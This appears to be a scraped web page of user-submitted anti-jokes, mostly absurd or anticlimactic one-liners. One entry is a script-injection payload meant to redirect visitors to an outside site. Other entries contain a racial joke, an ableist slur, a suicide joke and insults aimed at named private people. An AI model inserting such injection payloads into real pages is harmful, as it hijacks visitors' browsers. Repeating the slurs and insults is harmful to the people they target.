happy birthday! Its not my birthday! Oh i just assumed from your smell. That doesn't make much sense does it? It does. No it doesnt. Are you sure? Yes. Oh. Do i smell? Like chickens. Oh. I wish i were alive. What? Bobbing for apples? what? You smell like a toilet seat. Fine! You never spend time with me any more! I dont like you! oh. you know who nobody likes? Who? amanda burchell.

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On Wednesday night, a drunk man was walking on the cliffs of dover. his funeral was saturday.

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What's the most confusing day in Mexico? Father's Day.

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Why did the chicken cross the road? We will never know because he got hit by a car.

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Why was the chubby bird that you were staring at you angry. Because you were looking at him.

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yo momma so fat... she went on a calorie controlled diet and lost 3 stone, she's a really nice lady too.

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what happened to the girl next door ? she was brutally murdered.

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What did the muffin say to the other muffin? "Hello, nice to meet you."

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S + B + B = SB fuckin' B

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Q: What do you call a black man with no arms and no legs? A: Whatever his first name is.

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Dislike if you are a prostitute

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What did the blind man say to the mentally challenged man when he bumped into him? Watch where you're going, retard.

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What did the kid say to the ice-cream Man Can I have a duck please

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Knock Knock Who's There Carly Carly Who Hey I just met you, and this is crazy So here's my number and call me maybe

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Watch me whip, watch me nae nae

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Boy 1: What comes after L? Boy 2: Elephant, elbow, elk, elementary, Elliot, Elder Scrolls? Boy 1: No. Boy 2: What is the answer? Boy 1: M

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What is the funniest shirt Emil heskey has ever worn? A shirt that had this joke on it

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was gonna write a really funny "anti-joke" about two dogs and some spagetti but decided instead to tell you about how hard my life is and how much i hate getting up in the morning and just keep you wondering about the spaggetti and the dogs while i kill myself and it all a sudden makes sense as the two dogs are eating my shattered brain that looks like spaggetti wich leaves me wondering , am i spelling spaggetti right?

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Jake snow steals ideas he doesn't make them up

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Once upon a time, your dog got hit by a car this morning

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Why did the deer stop running? It was hit by a car

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"'>document.location.href="http://cramik.org"

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How do you make someone laugh? Tell them this joke.

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A man walks into a bar. He says ouch.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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